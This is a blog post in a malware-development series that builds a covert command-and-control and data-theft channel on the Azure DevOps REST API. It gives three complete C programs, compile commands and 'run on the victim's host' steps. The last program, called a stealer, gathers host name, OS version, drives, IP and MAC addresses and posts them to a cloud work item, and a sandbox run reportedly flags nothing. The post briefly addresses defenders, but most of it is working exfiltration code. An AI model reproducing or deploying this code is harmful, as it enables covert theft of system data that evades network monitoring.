Malware development trick 49: abusing Azure DevOps REST API for covert data channels. Simple C examples.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this post, I want to show how Azure DevOps REST API - a totally legit Microsoft service - can be used by an attacker to communicate with their infrastructure in unexpected ways. This is not an Azure DevOps bug, but an abuse of functionality.
Think of it as using a perfectly fine hammer… to crack a safe.
We will explore three minimal proof-of-concepts:
sending a simple GET
request to list Azure DevOps projects.
creating a work item (Task) with a title.
creating a work item with a title and a description containing arbitrary text - a “safe” stand-in for sensitive data in a stealer scenario.
azure services
If you are not familiar with Azure Devops Services like me, let me show few steps to create minimal env for our hacking scenario.
We just need the smallest possible environment so our PoC has somewhere to talk to.
Go to https://dev.azure.com/ and sign in with a Microsoft account. If prompted, create a new organization - name it anything (in my case, cocomelonkz
):
Then, create a project. In your new organization, click “New Project”. Give it a short name, e.g., hack
or cat
. Visibility can be private (this is fine for our test):
Finally, generate a Personal Access Token (PAT):
In my case full access, but you need read
and write
permissions - it’s enough for our scenario.
For checking correctness, test API via curl
:
curl -u ":your token here something like 9O1QFlG1YxLe88F65PfHutr...........CAAAAAAAAAAAAASAZDOOcAA" -X GET "https://dev.azure.com/cocomelonkz/_apis/projects?api-version=7.1"
As you can see, you should see JSON with your project list. If you get that, your Azure DevOps “C2 server” is ready for abuse.
practical example 1
The simplest way to talk to Azure DevOps REST API is to hit an endpoint, for example:
/cocomelonkz/_apis/projects?api-version=7.1
In this case, full source code looks like this hack.c
:
/*
* hack.c
* minimal simple GET request to
* Azure DevOps REST API:
* list of projects
* helper function for stealer
* author @cocomelonc
*/
#include <stdio.h>
#include <windows.h>
#include <winhttp.h>
int main() {
HINTERNET hSession, hConnect, hRequest;
DWORD bytesRead;
char buffer[4096];
// init
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) {
printf("WinHttpOpen failed: %lu\n", GetLastError());
return 1;
}
// connect to dev.azure.com (HTTPS)
hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (!hConnect) {
printf("WinHttpConnect failed: %lu\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}
// GET-req
hRequest = WinHttpOpenRequest(
hConnect,
L"GET",
L"/cocomelonkz/_apis/projects?api-version=7.1",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE
);
// headers
const wchar_t *headers =
L"Accept: application/json\r\n"
L"Authorization: Basic <my base64 encoded token here>"
L"\r\n";
WinHttpAddRequestHeaders(hRequest, headers, (ULONG)-1, WINHTTP_ADDREQ_FLAG_ADD);
// send request
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
printf("WinHttpSendRequest failed: %lu\n", GetLastError());
return 1;
}
if (!WinHttpReceiveResponse(hRequest, NULL)) {
printf("WinHttpReceiveResponse failed: %lu\n", GetLastError());
return 1;
}
// get response
while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 0;
}
As you can see, this is a program with minimal helper logic: this is enough to pull metadata from Azure DevOps without triggering anything suspicious in most network setups.
Just replace with your own token:
echo -n ":9O1QFlG1...QQJ99BHACAAAAAAAAAAAAASAZDOOcAA" | base64
demo 1
Let’s go to see first example in action. Compile it:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp
Then, run in the victim’s machine (in my case Windows 10/11
VM):
.\hack.exe
As you can see, everything is worked as expected!
practical example 2
Let’s update our logic: creating a work item with a title. Since an attacker want push data from victim’s host instead of pulling. Azure DevOps supports creating work items via REST API.
We can send a JSON PATCH request to:
POST /ORG/PROJECT/_apis/wit/workitems/$Task?api-version=7.1
Content-Type: application/json-patch+json
Here’s a minimal PoC that sets only the System.Title
, based on Microsoft documentation (hack2.c
):
/*
* hack2.c
* Azure DevOps REST API
* create work item
* helper function for stealer
* author @cocomelonc
*/
#include <stdio.h>
#include <windows.h>
#include <winhttp.h>
int main() {
HINTERNET hSession, hConnect, hRequest;
DWORD bytesRead;
char buffer[8192];
// headers
const wchar_t *authHeader = L"Authorization: Basic Ojl...FBQUFBQVNBWkRPT2NBQQ==\r\n";
const wchar_t *contentHeader = L"Content-Type: application/json-patch+json\r\n";
const wchar_t *acceptHeader = L"Accept: application/json\r\n";
// JSON patch for patch operations (PATCH)
const char *postData = "[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"from\":null,\"value\":\"meow\"}]";
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
hRequest = WinHttpOpenRequest(
hConnect,
L"POST",
L"/cocomelonkz/hack1/_apis/wit/workitems/$Task?api-version=7.1",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE
);
WinHttpAddRequestHeaders(hRequest, authHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(hRequest, contentHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(hRequest, acceptHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
(LPVOID)postData, strlen(postData),
strlen(postData), 0);
WinHttpReceiveResponse(hRequest, NULL);
while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 0;
}
Don’t forget to replace with your own base64
-encoded token.
demo 2
Compile second example:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp
Then, run on the victim’s host:
.\hack2.exe
Now our PoC creates an artifact in the cloud:
practical example 3: stealer
Here we’ll simulate a scenario where system information is sent to Azure DevOps like before: Github API, VirusTotal or Telegram.
The full source code is looks like this hack3.c
:
/*
* hack3.c
* Azure DevOps REST API stealer
* author @cocomelonc
*/
#include <windows.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <iphlpapi.h>
#include <stdio.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "crypt32.lib")
int sendToAzure(const char* project, const char* pat, const char* title, const char* description) {
HINTERNET hSession, hConnect, hRequest;
char authHeader[512];
char jsonBody[10000];
DWORD bytesRead;
char buffer[8192];
// construct json body
snprintf(jsonBody, sizeof(jsonBody),
"[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"value\":\"%s\"},"
"{\"op\":\"add\",\"path\":\"/fields/System.Description\",\"value\":\"%s\"}]",
title, description);
// encode PAT to base64 (PAT without username
// for Azure DevOps ":PAT")
char patAuth[256];
snprintf(patAuth, sizeof(patAuth), ":%s", pat);
DWORD patLen = lstrlenA(patAuth);
DWORD base64Len = 0;
if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &base64Len)) {
fprintf(stderr, "Base64 length error\n");
return 1;
}
char patBase64[256];
if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, patBase64, &base64Len)) {
fprintf(stderr, "Base64 encode error\n");
return 1;
}
snprintf(authHeader, sizeof(authHeader), "Authorization: Basic %s", patBase64);
// printf("%s\n", authHeader);
hSession = WinHttpOpen(L"Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
char path[512];
snprintf(path, sizeof(path), "/cocomelonkz/%s/_apis/wit/workitems/$Task?api-version=7.1", project);
wchar_t wpath[512];
MultiByteToWideChar(CP_ACP, 0, path, -1, wpath, 512);
hRequest = WinHttpOpenRequest(hConnect, L"POST", wpath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
wchar_t wauthHeader[512];
wchar_t wctypeHeader[] = L"Content-Type: application/json-patch+json";
MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);
WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)jsonBody, strlen(jsonBody), strlen(jsonBody), 0);
WinHttpReceiveResponse(hRequest, NULL);
// get response (checking)
WinHttpReceiveResponse(hRequest, NULL);
while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 0;
}
int main() {
char systemInfo[4096];
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size);
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
DWORD drives = GetLogicalDrives();
IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = sizeof(adapterInfo);
GetAdaptersInfo(adapterInfo, &adapterInfoSize);
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n"
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
sendToAzure("hack1", "9...CAAAAAAAAAAAAASAZDOOcAA", "meow2", systemInfo);
return 0;
}
As you can see, this source code is pretty similar my Github, Telegram and VirusTotal scenarios.
demo 3
Compile stealer example:
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp
Then, run on the victim’s host:
.\hack3.exe
As you can see, everything is works perfectly! =^..^=
This approach has some interesting traits:
blends with legit traffic - all calls go to dev.azure.com
.
no additional infra needed - the “C2” is a Microsoft service.
persistence and history - once data is in a work item, it stays there until deleted.
two-way channel - you can GET
and POST
to exchange data.
For Blue teams, the lesson is as always: not all “benign” cloud traffic is harmless.
Upload to ANY.RUN:
As you can see, ANY.RUN says that everything is ok: no threats detected.
Summary: interaction with the Azure cloud is recognized as legitimate behavior and this is the main problem! Pwn! =^..^=
https://app.any.run/tasks/5ad3bf05-f2c3-48d0-8552-7a988b536ad8
Malware like AllaKore and APTs like APT32: OceanLotus use Azure for malicious actions in the wild
I hope this post is useful for malware researchers, C/C++
programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
Thanks to ANY.RUN for API!
ANY.RUN
ANY.RUN: hack3.exe
Microsoft: Get started with Azure DevOps REST API
AllaKore
AllaKore variant leverages Azure cloud C2
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine